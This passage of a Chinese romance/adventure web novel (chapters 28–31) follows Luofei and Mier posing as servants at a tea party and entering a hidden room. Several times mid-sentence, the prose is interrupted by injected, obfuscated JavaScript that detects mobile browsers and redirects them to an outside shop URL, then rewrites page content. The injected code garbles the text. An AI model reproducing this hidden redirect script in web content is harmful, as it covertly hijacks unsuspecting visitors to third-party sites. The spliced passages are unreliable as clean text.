米尔早就习惯了对方常常霸占他床铺的习性,对洛斐的乱蹭也视若无睹,随口回道:“对,表弟的身份我们待在一起也不会奇怪。” 米尔将一切皆安排妥当,虽说不算是正常办法,但好歹是能真切地解决问题。 如果能帮到米尔,洛斐便不会拒绝。 “好。我陪你。” 洛斐说完便闭了眼,还是一旁的米尔的一句话,喊醒了他。 “我们是家人吗?” 洛斐微微皱眉。 家人? 他一时拿不准米尔指的是什么,艾瑟兰王国谣言中的新王子,还是明日两人要假扮的表兄弟身份,又或是别的什么。 “我们早就是家人。”洛斐语气淡淡地开口。 无论哪种,他们都是家人。 黑夜中,洛斐看不清米尔的神情,只知道对方心情不错,不仅没驱赶他的乱蹭,甚至将毯子分给他一半。 洛斐也没有再次挨踢。 进入索恩家族的过程,比洛斐预想的轻松很多,一番简单的工作交代,便算过了关。 洛斐看到索恩家族庄园的第一眼,一股莫名的熟悉感便扑面而来。 他看了好一会,才明白那感觉从何而来。 华丽却寻常的装饰,夸张的造型,无一不是是刻意堆砌的体面,像极了先前的赛文恩家族庄园。 但是也有些不同。 索恩家族的人员极少,四处活动的一半是侍从。 午餐时,更是明显,连一张长桌都凑不齐。 洛斐穿着不合身的专属衣袍,扯了扯衣角,问身旁的米尔:“那人真是索恩家族的?午饭和晚饭都没有出现。” “应当是的,也许时机未到。”米尔压低声线,半真半假地说:“殿下,他们用餐时请不要交头接耳。” 洛斐看了眼身旁尽情闲聊的侍从们,拍了拍米尔的手,说:“你还真入戏了?” “我们什么时候找出那个人,顺便问信息?” “我么才刚进来,不能着急。等到他们举办宴会或者仪典的时候。” 洛斐看向狭小到拥挤的地方,不能想象办宴会或者仪典要挤成什么样子,低头问米尔:“还没小白马厩大的地方,何时能办宴会?” “很快的。”米尔不咸不淡地说:“越是没落且狭小的家族越重视。” “是吗?” 洛斐抬眼看了米尔一眼,语气带着不信。 “我何时说错了?” 没等到洛斐开口,坐在长桌中间的高瘦男人向周遭发号施令,“过两天将要办一场清凉茶会,你们务必好好准备。” 洛斐讶异地看向米尔,对方只是碰了碰他手背,说:“我什么时候说错了。” “殿下,好生准备,快了。” 28. 猫洞 快了? 洛斐万分不解。 索恩家族他们尚且没有摸清,更不要说,那日跑开的人到现在都没有出现,一切都处于初始阶段,哪里变快了。 “什么快了?” “你的活快到来了。”米尔一本正经地说道,指了指偏厅,不大的地方满是各式各样的道具,还有川流不息的侍从。 洛斐愣了愣,微微眯起眼,语气带着不信,“你不会是让我也去为他们准备茶会?” “不是。”米尔轻言轻语地纠正他,而后一本正经地补充:“是我们一起。” 洛斐深叹口气,望着前面拥挤到人挤人的小偏厅,笑意不达眼底地说:“找人需要如此入戏吗?表哥?” “就当是你体验生活了。”米尔拍了拍洛斐的肩膀,语重心长地开口:“殿下平时筹备宴会很多,亲自体验的机会却很少。” 洛斐摆正衣袍,小声说:“确实很少,除非下辈子重新投胎。” 汐莱纳希流行的茶会模式也和艾瑟兰不大相同。前者注重仪式和排场,而后者则是注重气氛与茶水本身。 而洛斐极其善于筹备艾瑟兰的茶会,却对汐莱纳希的不甚了解。 好在他也不用了解。 他不是筹备者,而是侍从。 米尔先前应当是表现相当好,洛斐猜想。 按理说,他们只是暂时顶替别人来帮忙,初来驾到人生地不熟,在角落里悄悄做事才是常态。 但管家却格外照拂,把最轻省的活计留给了他们,甚至要将米尔推去前排,最后还是米尔态度决绝才能守在洛斐身边。 “我来。” “你歇着。” 洛斐再次接过米尔转来转去依旧洗不干净的碟子,不解地说:“也不知道你怎么通过他们考核进来的?” “我恰好了解汐莱纳希的习俗罢了。”米尔摸了摸鼻尖,讪讪地开口。 洛斐看了他一眼,立马握着他手腕,“别摸,你皮肤不好,碰浆果都会过敏。” “好。”米尔看着洛斐熟练的手法,问:“艾瑟兰王国的王子,洗碗也是必修课?” 洛斐转身望着他,随口道:“艾瑟兰的孩童都熟练的事情。” “……”米尔默默地拿起碟子,继续给它做按摩舒缓运动,直到身旁的洛斐不放心地问他才微微抬眸。 “埃迪和凯勒布……不会也来参加吧。” 米尔索性将碟子又递给洛斐,说:“应该不会,凯勒布是出了名的冷淡,夏塞林的贵族平时并不会主动邀请他,更何况是商业世家呢?” “为什么不邀请他?”洛斐看着米尔身旁堆砌的半脏半干的碟子,问:“只是因为凯勒布性子冷漠不爱与人交际?” 再怎么样也是夏塞林堂堂正正的公爵,不至于沦落到如此地步。 米尔静静地盯着洛斐洗碗的动作,尽力模仿,轻声说:“梅洛特家族人丁凋零,凯勒布公爵又年少倨傲,即便家人战死沙场,也无法避免被贵族们联合冷落。” 米尔见洛斐抿着唇,动作也顿了顿,便出声安抚,“在夏塞林这种地方生活,而且不需要与贵族们交际,如果是殿下,你也会很开心的。” “至于来找我们,殿下可以放心,凯勒布公爵极大可能正在和埃迪游玩,沉迷其中,大概不会突然拜访。” “那就好。” 洛斐松了口气。 他可不想,有人看见他的狼狈模样,谁也不行。 “但不排除埃迪会来担心你,或是凯勒布来看你热闹。”米尔突如其来说道。 “……你告诉凯勒布了?” 米尔小心翼翼地摆好碟子,淡然道:“大概是管家先生说的,昨日凯勒布回了信。” “说什么?” “说不要进他和埃迪的卧房。” “为什么要进他们的卧房。” 洛斐微微皱眉,不解的表情难以掩饰,拿过米尔又洗脏了的碟子,语气带着不悦,“他们先放一放,眼下我们面临的麻烦可不小。我们该不会要一直洗碟子?” “不会的。”米尔望着手中好不容易洗成的碟子,笑了笑,“让殿下做那么多活,我可不愿意。” 洛斐动作停了一会,转身看向米尔。 尽管他的活全是米尔造就的,但米尔说得好听且诚恳,他便满足地擦了擦碟子的水珠,垂首说:“还好,……也不是很累。” 洛斐话音刚落,又将米尔负责的碟子全拿了来,利落地清洗起来。 索恩家族的清凉茶会准备得繁多,但真正开始时却很随性,寥寥无几的家族成员衣着随意得像是出来踏青,受邀的公爵也不过是冷淡地看了眼,走完过场便散了。 树荫下的长桌摆放得分毫不乱,上面的银壶茶色清透,薄荷青柠香气混杂,只是喝一口便能将暑气驱散一半。 洛斐不得不承认,夏塞林不仅风光正好,气候温和,侍从们也比想象中得力,普通的茶也能泡得生出花。 洛斐站在一旁望着,看向因为贵族们侃侃而谈而碰倒的茶杯,不悦且恼火压也压不住。 夏塞林不好便在于,不懂风雅的贵族太多,侍从们不仅要忍受艰苦的环境,还要为贵族们的粗鄙收拾残局。 纵使心中不满,洛斐依旧挂着半真半假的笑,维持着正在扮演的角色。 直到茶会过半,洛斐开始寻找米尔的身影,方才对方被管家叫走便没了踪迹,不知道去了何地。 宾客离席闲逛,洛斐顺手摆正茶杯,看了眼周遭的环境,远远地望见米尔站在湖边,朝着身旁说话的男人低了低头,衣袍随风扬起,看不真切。 不会又和人起了冲突? 洛斐走到米尔身边时,刚刚说话的男人恰好离开。 对方难得地友好问候,洛斐先是微微颔首,而后想起来他目前扮演的的侍从身份,便改为躬了躬身。 等男人走后,洛斐走到米尔身侧,垂首问:“你又和人起冲突了?认错人了?还是冲动了?” “只是询问了他一些问题。” 米尔探身看向湖的另一边,转身不满地反驳:“我上次的冲动只是失误。” 洛斐歪了歪头,开口:“常常失误的米尔大人,有什么新发现?或者是什么时候能行动?” 洛斐调侃完米尔,见茶会即将结束,活动了下腰,准备去那边收拾。 转身的一瞬,腰间的手被猛地握住,洛斐下意识回头,见米尔神色认真,“现在,跟我去树林里。” “树林?” 洛斐不解,但也只是谨慎地问了句,“该不会要做什么不体面的事?” “不会,只是寻常事。”米尔斩钉截铁地说道。 “……” “你最好是真话。” 洛斐口中说着不信,但还是半推半就地和米尔去了湖的另一边。 索恩家族的庄园面积小,又有不少繁琐的装饰凌乱地堆积,以充华丽。洛斐原以为米尔口中的树林会如偏厅那般狭小。 谁成想,四周全都装点得太过铺张,只有这片绿林生长得还算亮眼。 洛斐摸了摸成丛的野草,抬头问米尔:“你带我来树林做什么?难不成那人住在树林附近。” “你变得更聪明了。”米尔顺口称赞,俯身敲了敲草丛后的墙壁,咚咚声接连响起。 洛斐往后退了几步,目光在完好无损的墙壁上停了停,朝着米尔说道:“那人是否住在里面先不谈。没记错的话,里面是庄园的深层住所,我们连正门在哪里都不清楚,要怎么进去,也是个问题。” 米尔刚刚站稳,敲过墙壁的手指便顺势点了点洛斐的额头,语气无奈,“殿下的聪明还有待开发。” 米尔说完,拨开杂草,在洛斐诧异的目光下,弯腰将看起来完整的墙壁卸了下来,转头看向洛斐,“这才是我们真正要进的入口。” 洛斐愣了愣。 米尔敏锐是一如既往的,不值得他惊讶,但眼前没他脑袋大的洞口着实让他吃惊。 洛斐不解地看向米尔。 这不是爬猫洞吗? “这和小黑在艾瑟兰王国的入口有什么区别?” 洛斐眉梢微动,语气满是不解,弯腰往里望去,住所区的全貌的确尽收眼底。 洛斐惊异地挑了挑眉,还算是好地方。他回头问米尔:“你什么时候找到的?” “出来歇着的时候,偶然看见野兔从这里穿进屋内。”米尔随口回道,拎起衣袍,招呼着洛斐往里钻,“殿下若不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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“无论是被迫困在这里,还是故意躲藏避人,都会选择足够隐蔽的地方,我们先从最后面开始寻找。” 米尔一本正经地回答,每句话都说得四平八稳,但洛斐听得一怔。 “你真要去敲?”洛斐此时惊讶不亚于得知米尔要去凯勒布城堡借住,怔怔地开口:“万一敲错了呢?” “赔礼道歉。” 米尔认真地解释:“茶会正进行得热闹,一部分去了茶会的人,不会轻易离开,另一部分也不会来这里,除非他们也喜欢钻洞。” “那也不能,你有其他办法……”洛斐话音未落,便被米尔一把拽到廊道装饰后面藏了起来。 又是同样的躲藏方式。 不同的是,索恩家族的廊道不及凯勒布的城堡,不如那里清凉,也不如那里宽敞。 地方狭隘,两人便只能靠得紧,洛斐搂着米尔的腰,不自觉地动弹了一下,米尔顺势抬头看了一眼。 他无声地动了动嘴唇,“不要说话。” “好。” 洛斐也轻轻地点了点头。 他们刚刚说完,紧接着便是短而平缓的脚步声。 洛斐屏住呼吸,垂首看向米尔,怔怔地看了一会,试探地将脑袋贴在他的肩膀。 米尔一愣,没有无声地拒绝,也没有冷淡地将他推开,他只是抬起手一下接一下地拍着他的背,动作随意且自然,目光依旧紧紧地盯着入口。 “哥,它只是折刀,不是艾瑟兰王国的象征,不能因此断定他们来了这,况且,他们总不能来钻……猫洞?” 洛斐猛地抬起头,看向米尔。 这声音,怎么那么熟悉? “这把折刀是殿下随身携带的,哪怕不是艾瑟兰的象征,但也能证明他们来了此处。” 埃迪低头看了眼草丛捡起的折刀,干净的刀刃看来未发生争斗。 “哥,你太关注他了。” 凯勒布吃力地通过洞口后,便小跑到埃迪身旁,“米尔聪明,洛斐也能独自行走。” “完全不用担心。” 米尔见时机已到,探出身去,看着那两张被突然出现的自己惊得愣住的脸,语气平和地问候,“好久不见,埃迪骑士。” 洛斐也跟着趴在米尔肩膀上方,探着半边身子,补了一句,“好久不见,凯勒布公爵。” 29. 含情脉脉 凯勒布看向莫名跳出来的两人,微微一愣,问道:“你们真钻了洞口进来的?” 米尔拍了拍肩膀,朝凯勒布回道:“凯勒布公爵如何进来,我们便如何进来。” 洛斐也跟着说道:“只会独立行走的我也只能钻钻洞口,不是吗?凯勒布公爵。” 背后刚和他哥吐槽完,转眼便被正主逮住,凯勒布向来冷傲的神情有些变化,不自然地转移视线。 一旁的埃迪见状,摸了摸凯勒布的手背以示安抚,将手里的折刀递给洛斐,“殿下,您的折刀落在草丛里了。” “谢谢你,埃迪。” 洛斐微微颔首,抬头见埃迪正打量自己身上的侍从衣袍,率先解释,“这是索恩家族统一的侍从衣袍,我和米尔特意换上的。” “很适合你们。”凯勒布为了缓解气氛,忽地开口说。 “……” 凯勒布抬眸看了一眼,不明白为什么夸奖也能获得一片寂静,转而看向一边的房间,“你们要找的人,在里面?” “大概是的。” “兴许是的。” 米尔和洛斐异口同声地回答,语气都不太确定。 “你们不清楚,怎么找人?有钥匙?或者是管家给了指示吗?”凯勒布微微皱眉,问道。 两人同时转身,相视一眼,极其默契地摇了摇头。 纵使一向称赞大于批评的埃迪也诧异地开口:“……难不成要硬闯?” 洛斐嫌看向震惊开口的埃迪,语气淡淡,“当然不是。” “要一间一间地试着敲。” 埃迪与凯勒布皆是无言以对。 埃迪好久才回答一句,“……好。” 凯勒布目光扫视四周,直白地开口:“你们不仅去不了,还免不了挨打。” 米尔轻手轻脚地走向旁边,细细查看,不反驳。 反倒是一旁站着的洛斐,先是皱眉,而后冷言回道:“你若不知全貌,便安静听米尔的。” “好,那就拭目……” “找到了。”一直埋首寻找的米尔攸地开口。 其余站着的三人纷纷侧目,目光直直地落在米尔身上。 米尔直起腰,看向木门,抬手指了指门顶端细小的圆孔,那里的确贴着小画,“他们的画像贴在墙壁上了。” 埃迪与凯勒布均是一怔。 一不询问,二不借巧,单纯横冲直撞地埋头哭找,还真让他们找到了。 “米尔,做得好。”洛斐莫名骄傲地抬起头,朝着身旁的埃迪和凯勒布说道:“大概是夏塞林的习俗。” “……不要栽赃夏塞林。”凯勒布贴着埃迪站,略微嫌弃地说。 身旁人你一句我一句地说着,米尔则是微微垂眸,不讲话。 洛斐微微偏头,察觉出他的犹豫,便自告奋勇地说:“米尔,我来……” 咔哒。 面前的木门随着洛斐的话语忽地打开,莱克倚着门框,冷冷地看着他们,“不管你们是谁,请离开。” 当时洛斐只顾着生气,没细看那男人具体的模样,只知道长得健壮朴实,现在卸下当时的手足无措。 稚气未脱的还像个孩子。 气氛焦灼。 洛斐看了眼身后,想催埃迪和凯勒布先行离开,一转身的功夫,人早就跑了。 身边的米尔也罕见地傻了眼,洛斐暗暗叹口气,只好率先开口:“你好,我们是来道歉的。” 莱克皱了皱眉,看向他们的侍从衣袍,反问:“穿着侍从衣袍来道歉?” “是的。”洛斐垂眸看向方才又沾了灰的衣摆,微微点头。 莱克看了他们一会,捂着发疼的太阳穴,朝着他们轻声说道:“请进来。” 如若不将人请进来,密谋声也许会拆了他的房顶。 “打扰了。” 洛斐常年受莱因哈特的教导和逼迫,保持傲气的同时,假意道歉是他最擅长的,面对稚气的孩子更是不在话下。 “先生,很抱歉当时冒犯了你,我的表哥将你认成了他的旧友,一时失了礼仪。”洛斐见莱克倒着身子,神情谨慎且紧绷,转而将语气放得轻了又轻,“而我们恰好在这里……帮工几日,便想着来和你郑重地道歉,顺便交还你落下的家族徽章。” 洛斐说完,便转身碰了碰米尔的肩膀,说:“米尔表哥,快将徽章还给先生。” 触碰身旁米尔的同时,洛斐余光观察着莱克的表情。 原本打算开始套话的洛斐愣了愣。 莱克的神情不是他设想的那般渐渐缓和,而是一种洛斐看不懂的复杂。 他演技应当不错,穿帮了? 洛斐正不解,身边的米尔却径直朝着莱克走去,完全不顾对方一直在不安地后退,直白地询问:“那日为什么跑开?” 莱克方才佯装的冷傲荡然无存,只剩下对米尔那股咄咄逼人的不安,他一开口,不谙世事的少年气便藏不住了,“你当众抓着我的衣袍,还不允许我跑了吗?” “为什么要跑开?”米尔淡淡地重复了一遍。 一旁的洛斐微微愣怔,还没明白米尔怎么忽然询问得如此不留余地,只知道照这样下去,他们被赶出去不过是时间问题。 “米……表哥,不要对先生如此无礼。”洛斐到底没忍住,开口拦道。 垂首不敢动弹的莱克听闻洛斐的话,宛如被点燃了引子,猛地抬起头,头也不转地指向门口,朝面前的两人,怒气冲冲地说:“离开,离开我的房间,快点。” 末了,还要冲早就离开,即将爬出猫洞的洛斐和米尔喝道:“不管你们有什么奇怪的问题和举措,都请收回去,我绝不会回答。” 洛斐听着身后莱克气恼的话,看向面前的米尔,对方正缩着身体,一心一意地爬猫洞,好似刚才只是去参观了庄园。 “你和他说话,怎么带着怒气?”洛斐边拍米尔身上的灰,边不咸不淡地说:“我们尚且不清楚他的真实身份,如若他举报,我们的身份倒是不重要,但是任务可就泡汤了。” “泡汤了?”米尔微微偏头问。 洛斐看了他一眼,耸了耸肩,说:“残刃卷找不成,夏塞林待不久,只能灰头土脸地回艾瑟兰了。” 米尔被他逗得一乐,顺势转身,将一边的脏兮兮朝向洛斐,半开玩笑地问:“当王子,也能灰头土脸?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658795|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “身为王子,与万千子民并无不同。万事万物,自然也有苦恼……”洛斐下意识地看向米尔,语气尽量放得自然,“所以……做王子也并不轻松。” 米尔垂首,认真听洛斐讲王子的不易,而后捏了捏洛斐腰间的折刀,轻轻地回答:“嗯。” “……你不说些什么?”洛斐皱了皱眉,目光里带着不解。 眼下情况,米尔怎么也该顺着话头说点什么,好立得住王子身份才是。 “我?说点什么?”米尔抬眸看着洛斐,转身见茶会早就结束了,语气淡淡地开口道:“我们好像偷懒了。” “……不是说这个。” “你生气吗?” 洛斐忽地抬头,眸光微闪,“生气?” “生气方才没有按照你的想法,擅自询问了他。”茶会早就结束了,也没人管他们,米尔便在湖边站定,开口:“不生气吗?” 米尔问的不是洛斐心中所设想的事情,好在洛斐早有预料,也只是暗自叹了口气。 是否要当艾瑟兰王子这件事,便像是哑巴吞了苔草碎一般,苦在舌根,却讲不出口。 如若没有良药医治,他们谁都无法坦然地提起。 洛斐懒懒地站在他身侧,语气却认真,“不生气。” “你做事向来有理有据,哪怕看着异常鲁莽的事,也指引我们找到了索恩家族这条线索,不是吗?”洛斐歪头看向他,继续道:“况且,我们被赶出来是早晚的事,谁会允许陌生人待在自己房内。” “你明察秋毫,料事如神,另辟蹊径才带我们来到这里,我生气什么?”洛斐伸了伸懒腰,说得真切。 洛斐抬眼望见湖边聚集起来的人群,明白又出了问题,便转身喊米尔,“好了,快回去收拾……” 一转身,洛斐便愣了一瞬。 身旁的米尔眼睫微垂,目光定定地落在他身上,黑眸像是润了一层水光,和平日判若两人。 洛斐垂首,在他眼前挥了挥手,问:“你怎么了?” 米尔像是这才回过神来,他垂眸,轻轻地摇了摇头,随即抬手轻抚了一下后颈,语气还算自然,“没什么,我看庄园的那棵树生长得极好。” “哪棵?”洛斐顺着米尔指的方向环视一周,没看清具体是哪棵,便转头朝他道:“你记住模样,回艾瑟兰我给你卧房后边种几棵作伴。” 米尔未没来得及拒绝,洛斐便自顾自地开口:“你的眼眸的确很像黑曜石,看几棵树木也能看得如此……含情脉脉。” 米尔顿时没了话,随手拍了拍洛斐的腰,开口说:“好了,料事如神算不上,但我能保证他不会举报我们。” 洛斐摸了摸后腰,追着问米尔:“你怎么知道的?” “秘密。”米尔捂着眼睛,语气无奈地开口:“好了,该去打扫卫生了。” 洛斐远远便看见湖边的人群,像是密密匝匝,永远拆不散的蜂群,一股脑地挤在院子里。 他们到了跟前,才发现比远处看着还要壮观。 米尔小心地往前走着,洛斐伸手替他挡开挤上来的人,低头问:“发生什么了?” 米尔语气沉肃:“死人了。” 30. 开端 洛斐诧异地垂首看向米尔,他们离开前还是好端端的,怎么就死人了? 如果在艾瑟兰,洛斐大可以随手拽来身边任何一位询问,但是在汐莱纳希,尤其是在索恩庄园,他还是谨慎些好。 洛斐余光看见嘈杂的人群。 呜呜泱泱地挤在一块,却个个神色如常,全都不甚在意。 他也看眼下的情况,顺势猜出了大概,不会是索恩家族的人,否则不得闹翻了天。 哪怕不是艾瑟兰的子民。 再怎么少管闲事、心如止水,面对他人死亡,洛斐也没法坐视不理。 “米尔,是谁……”洛斐话音未落,手腕便被米尔握住,一路带出了人群,走向偏厅准备食材的地方。 索恩庄园的面积不大,一点风吹草动都会传得沸沸扬扬,更何况是危及生命的大事,原本偏厅里忙碌的人全被湖边的争吵吸引了去。 他们倒是捡了个难得的空闲。 “发生了什么?谁死了?”洛斐想抽回手,挣了一下,结果对方的手纹丝不动。 洛斐问完,米尔也不回答只是握着他的手。 洛斐从起初的不解变为了担忧,看见米尔失神的表情,愣了愣,迟疑地问:“不会是……你杀的?” 闭眼缓神的米尔看了洛斐一眼,一时语塞,张了张嘴,好半天才无语地开口:“……我只是不愿看见血迹。” “再者说,我在殿下眼里便是这样的人,随心所欲地背后伤人。” 米尔话音刚落,环视一周,偏厅塞得满满当当,勉强找到一个倒扣的木箱,朝洛斐招招手,示意他来坐下。 洛斐坐到他身侧,讪讪地开口:“玩笑话罢了。”他顿了顿,又说:“不过我也记住了,你不能见血,怕巨大的响声。” 洛斐见米尔气息平缓下来,脸色也不似方才那般苍白,像是完全缓了过来,开口问:“发生了什么?谁死了?是索恩家族的人?” “没死人。”米尔语气平和,带着些未来得及散去的哑,“听旁人说,是来的伯爵嫌倒茶的侍从茶水不干净,一口咬定说里面有茶渣,当场发了脾气,让管家使劲责罚。” 洛斐反问:“他喝的是银露茶,原本就带茶渣。” “是的。”米尔继续道:“管家训斥后,侍从便忍气吞声地应下了,那位伯爵却认为在搪塞他,当即对侍从动了手,那块地就此见了血。” 米尔一口气将来龙去脉讲述清楚,看向洛斐补充了一句,“不是故意欺骗你,怕你冲动,将人打了。” “……你做得是对的。”洛斐懒洋洋地开口,语气里却压着几分淡淡的恼怒,“光是听着便想打他了,他真该庆幸在夏塞林,不是在艾瑟兰。” “你生气了?”米尔探着脑袋,问他。 “有点。”洛斐并不擅隐藏情绪,更不要说眼下在米尔面前,完全无需隐藏,思考了好一会,他语气认真地说:“我们就不能打他一顿?” “大概不妥当。”米尔摇了摇头,劝说道:“艾瑟兰王子殴打他国贵族,一旦被发现,这大概是你我最后一次外出了。” “……”洛斐闷闷不乐地垂首。 米尔见状,拍了拍他的肩膀,贴近他耳边,低声说:“明面上不好动手,背地里却无妨。悄悄地做,比当面打他要可行得多。” 洛斐想起艾在瑟兰的日子,米尔的确擅长背后解决,绝不出面。他顿了顿,笑着偏过头,“……谁要是和你成为了亲人,怕是要如履薄冰。” 说罢,抬眼看向米尔,语气带着不正经的调侃和试探,“对不对,表哥?” 米尔没来得及回答,门口的谈话声便抛了进来,他起身,看向还坐着的洛斐,用口型慢慢地讲:“表弟,要小心脚下的冰。” 索恩家族不是第一次举办茶会,也不是第一次邀请夏塞林贵族。但贵族当场生气,打了侍从而导致好好的茶会中断,却是第一次。 对方是夏塞林名正言顺的侯爵,索恩家族的老家主再不痛快,面上也只得微微颔首,算是道歉了。 伯爵走的时候,脸上又带了笑,看得洛斐无名火起。他微微偏着头,问身旁和他一起站着送客的米尔,“这能行吗?他看起来相当快活。” “药效也要等一等。” “你给他下药了?” “十几种茶混在一起的特制茶罢了。” 洛斐点了点头,随着人流往回走,边问米尔:“会不会威力太小?” “全是陈年旧茶的混合物。” 洛斐听到这才满意地扯起嘴角,“放了多久?你怎么给他喝的?如此重的味道,他没喝出来?” 米尔朝路过的侍从微微颔首,转而朝洛斐解释,“放了大概几年。你知道的,我向来擅长巧言令色,他虽是伯爵却着实愚笨,喝不出茶的好坏,随口美言几句便咽了下去。” 洛斐听见米尔的话,忍不住弯了弯嘴角,问:“你也不怕他后来得知了,回来报复你。” 米尔不咸不淡地说:“以他的能力,回来报复我的时候,我们早就完成任务回艾瑟兰了。” 洛斐笑了笑,赞同地附和:“你说得也对。”他说完,又随口问道:“但任务要什么时候才能完成?” “快了,我不会让殿下在外面待太久的,我保证。” 洛斐不讨厌和米尔一起游历,艾瑟兰也暂时不需要他来维持,至于任务完成,只是他随口一提。 眼下见米尔如此郑重,洛斐反倒有些难为情,“不用那么急切,完成你的事情最重要。” 米尔看着纷纷进屋收拾烂摊子的侍从们,忽地凝滞片刻,抬眸看向洛斐,犹豫地说:“我们现在最重要的问题,或许不是完成我的事情。” “那是什么?” “……如何留在索恩家族。”米尔眼神躲闪,闷闷地开了口。 “……我们不是待一段时间吗?” 洛斐问完,才记起来他们连合适的身份都是临时编造的,如若不是米尔努力,根本没有长久做活的资格。 两人相视一眼,不约而同地笑了笑。 真是屋漏偏逢连夜雨。 好在,并不是绝无转机。 洛斐平日也常做活,至少自身的一切能打理得利落,干活麻利显然不适合形容王子,但确实是他的优点。 管家见他手脚麻利,倒也多了几分欣赏,米尔也在一旁时不时地提点和搭话,一句一句地灌输,管家一高兴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664464|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 便佯装勉为其难地说:“你们留下来也好,正好最近人手也缺。” 姑且不谈,是否能从那孩子口中套出有效信息,但他们至少获得了机会。 洛斐刷着手中的瓷杯,偏头问一旁冲洗的米尔,“还以为你不说谎,结果倒是很有一套。” “美化语句不是说谎。”米尔淡淡地开口。 “私下说说无妨,但对王子来说,对子民和王国要绝对忠诚。” 洛斐说得真诚,米尔隐约听出几分语重心长的教导意味。 他不明所以,但夸奖总归不会错,便顺势道:“作为王子,你做得就很好。” 米尔说完看向洛斐,对方表情不算好,没有平时得到夸奖后微微压抑却要溢出来的喜悦,而是化不开的忧愁和无奈。 “你怎……”米尔的问话还未落地,便被远处传来的响动截止了,他微微倾着身体,凝神侧目去看。 洛斐回神后,便看见米尔倚着他肩膀,半边衣角险些沾上水。 “你衣角落水了。”洛斐将他衣袍拎起,问他:“你怎么了?做这点活便累了?” “有点。” “那你去谢一歇。反正眼下也没其他事,刷瓷杯的活,你也帮不了忙。” “你也一起。”米尔忽地开口。 洛斐从一堆瓷杯里抬起视线,看了他一眼,而后用手帕擦拭指尖,说:“好,那便一起歇歇。” 这次待的地方是较偏厅更远,堆放杂物的后室,连倒扣的木箱都没有,四周堆着旧瓷器和旧桌布,他们的任务便是来清洗他们。 洛斐先找到桌旁的宽敞空地,转身要喊米尔来坐,却见对方早就坐在了角落里。 “你怎么总是找如此偏僻的位置?”洛斐坐他身旁,随口问。 “习惯了。” “好,角落里也安静。”洛斐说完,便垂眸去掸袖口的灰尘。 “你想要了解我的往事吗?”米尔忽地开口说,洛斐怔了几秒,转头看向他,不解的表情溢于言表。 “你的往事?”洛斐别开脸,倚靠着纯白墙壁,自顾自地说:“你的事情,我都清楚,就算是先前不知道的,我也能猜到大概。” 米尔听完洛斐的话,笑了笑:“殿下不是要去问卡斯弗医师吗?” “!”洛斐怔然地看向他,不假思索地问:“你怎么知道的?” “你夜晚做梦时说的。” “不可能,我不会说梦话。”洛斐下意识反驳。 话语刚落地,洛斐才意识到不对劲,他先前未和别人同床共枕过,他是否说梦话,他辩解不了。 洛斐皮笑肉不笑地点点头,说:“……我太累了,难免说些荒唐话,你全当没听见便好。” “好,那便不讲了。”米尔也没继续和他交谈,说不讲了便真的要起身去刷碗。 洛斐慌忙地扯着他衣角,抬眸道:“你要是不介意的话……说说也无妨。” 米尔垂首望着洛斐想知道又不好表现的表情,连语气都软了下来,“你是我的家人,我不会介意。” 洛斐很受用,偏头问:“先说什么?你为什么来艾瑟兰?还是你的儿时生活?” “先说残刃卷。” 31. 往事 “残刃卷很重要。” “当然重要。”洛斐不理解地看向他,即便不是王子,也知道艾琳娜夫人图纸的重要性,更何况洛斐需要常常研习这些。 “我巡访后带给你的那张图纸,不过是艾琳娜夫人的一张草图罢了。小店老板隔三差五便传信来,话里话外都是要讨回去。”洛斐说得平和,他早就习惯了收信箱变成垃圾箱的日常。 “我只想和你说,残刃卷的重要,我清楚了,先和我说说你……”洛斐话未讲完,一旁的米尔便朝着他说:“不仅如此。” 洛斐见米尔语气郑重,便不再点名要听的内容,而是微微颔首,说:“你继续讲,你想说的。” 米尔不紧不慢地开口:“艾琳娜·韦恩菲尔德是我的母亲,也就是艾莉娜夫人,她生长于汐莱纳希,精通各种武器装备的设计和制造,她天赋极高。” “年少时常常游历,后来拜了师,母亲的师父我很少见,现在看来大概是索恩家族的人。” 这些内容,艾瑟兰的别国史还是有所记载的,洛斐像是复习了功课,托着腮,盯着米尔继续道:“拜师后,母亲并不喜欢拘束在房间一隅,大多数时间依旧像先前一样,游历玩耍。” “再后来,母亲便遇到了我的父亲,露希恩当时的王子。” 洛斐第一次听米尔谈起他的父亲,努力回想脑海中的相关内容,说道:“一起研造武器,是志同道合的神仙眷侣。” 米尔收回视线,转身看向洛斐,一字一句地说:“是残暴无度,伪善入骨的小人。” “……”洛斐识趣地闭了嘴。 早知道不说了。 “一开始父亲和母亲很相爱,后来父亲以“提高露希恩国力”为由,让母亲为他绘制武器图纸,甚至将母亲多年的心血,那些威力巨大,无法预料的武器,全部集在了一起,起名为残刃卷。” “长此以往,父亲性情大变,即便是平时和母亲的交谈依旧充斥着武器和战争,母亲也因此完全丧失了自由。” 洛斐边听边点头,趁米尔歇息的空隙,问了一句,“对你呢?如何?” “时而冷漠时而严苛。”米尔不咸不淡地开口,“最后,母亲和父亲发生了剧烈的争吵,甚至演变到了废后的程度。” 